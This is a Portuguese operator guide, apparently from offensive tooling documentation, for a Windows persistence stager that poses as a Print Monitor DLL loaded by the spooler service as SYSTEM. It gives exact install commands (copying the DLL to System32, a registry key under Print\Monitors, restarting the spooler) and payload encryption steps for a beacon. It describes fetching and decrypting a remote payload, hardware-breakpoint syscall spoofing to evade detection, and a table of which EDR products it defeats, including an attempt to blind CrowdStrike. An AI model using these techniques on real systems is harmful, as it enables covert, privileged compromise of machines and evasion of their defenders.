Voltar ao inicio
ATENCAO: NAO funciona contra CrowdStrike! Mesmo com o KCD2 (blinder) ativo, a DLL nao carrega. O bloqueio acontece em camada diferente dos callbacks de kernel. Funciona apenas contra Defender e ambientes sem EDR enterprise.
1. Visao Geral
Framework de persistencia que se disfarca como um Windows Print Monitor. A DLL e registrada no sistema de impressao do Windows e carregada automaticamente pelo spoolsv.exe (servico de Spooler) a cada boot. Roda como NT AUTHORITY\SYSTEM.
Tipo: Stager + Persistencia
Contexto: NT AUTHORITY\SYSTEM (via spoolsv.exe)
Tecnica MITRE: T1547.010 - Boot or Logon Autostart Execution: Print Processors
O que a DLL faz
- Baixa payload criptografado de servidor remoto via HTTP/HTTPS
- Descriptografa com AES-256-CBC
- Aloca memoria pagina por pagina (RW -> RX)
- Executa via Thread Pool callback
2. Fluxo de Execucao
[INSTALACAO - requer admin]
reg add "HKLM\...\Print\Monitors\Nome Monitor" /v "Driver" /d "dll.dll"
| reboot
v
[SPOOLSV.EXE (SYSTEM)]
Inicia -> Enumera Print Monitors -> LoadLibrary("dll.dll") -> InitializePrintMonitor2()
|
v
[DLLMAIN - DLL_PROCESS_ATTACH]
DisableThreadLibraryCalls() -> InterlockedCompareExchange() -> CreateThread() -> start()
|
v
[START.CPP]
PEB walk -> Download payload -> AES decrypt -> Page-by-page alloc -> Execute
3. Syscall Spoofing via Hardware Breakpoint
A DLL usa VEH (Vectored Exception Handler) com hardware breakpoints para fazer syscalls sem ser detectada:
1
Chama funcao DECOYChama NtQuerySecurityObject (benigna)
2
Hardware BreakpointDR0 configurado no endereco da instrucao syscall
3
Exception disparaVEH handler intercepta antes do syscall
4
Troca parametrosRAX = SSN real, registradores = parametros reais
5
Syscall executaKernel ve funcao real, stack trace mostra decoy
4. Instalacao
Preparar Payload
# Gerar beacon/badger em formato bin
# Criptografar:
python3 encrypter.py beacon.bin
# Output: arquivo "data" (AES-256-CBC)
# Hospedar em servidor web
Instalar no Alvo (requer admin)
# Copiar DLL para System32
copy dll.dll C:\Windows\System32\dll.dll
# Registrar como Print Monitor
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\Nome Monitor" /v "Driver" /d "dll.dll" /t REG_SZ
# Reiniciar Spooler (ou reboot)
net stop spooler && net start spooler
5. Status de Evasao (Atualizado 02/06/2026)
| EDR | Status | Com KCD2 (blinder) | Detalhes |
| Windows Defender | Funciona | — | Sem alertas, persiste reboot |
| CrowdStrike Falcon | Bloqueado | Ainda bloqueado | LoadLibrary impedido mesmo com callbacks zerados |
Teste com KCD2 (02/06/2026):
Hipotese: se cegarmos o Falcon (removendo callbacks do kernel), a DLL carregaria.
Teste: Executamos WdFilter.exe -d, confirmamos 70+ callbacks zerados, reiniciamos o Spooler.
Resultado: DLL NAO carregou. tasklist /m persist.dll retornou vazio.
Conclusao: O bloqueio do CrowdStrike nao depende apenas dos callbacks de kernel. Provavelmente usa validacao interna no csagent ou driver filter em camada diferente.
Vantagens (quando funciona)
- Roda como SYSTEM
- Pouco monitorado comparado a Run keys, Scheduled Tasks
- Sobrevive reboot
- Nao aparece em autoruns comuns
Limitacoes
- CrowdStrike bloqueia - mesmo com blinder ativo
- Requer privilegio admin
- DLL precisa estar em System32
- Staging server precisa estar ativo no reboot
Recomendacao: Usar apenas contra Defender ou ambientes sem EDR enterprise. Para CrowdStrike, buscar alternativas de persistencia (WMI Event Subscription, COM Hijacking, etc).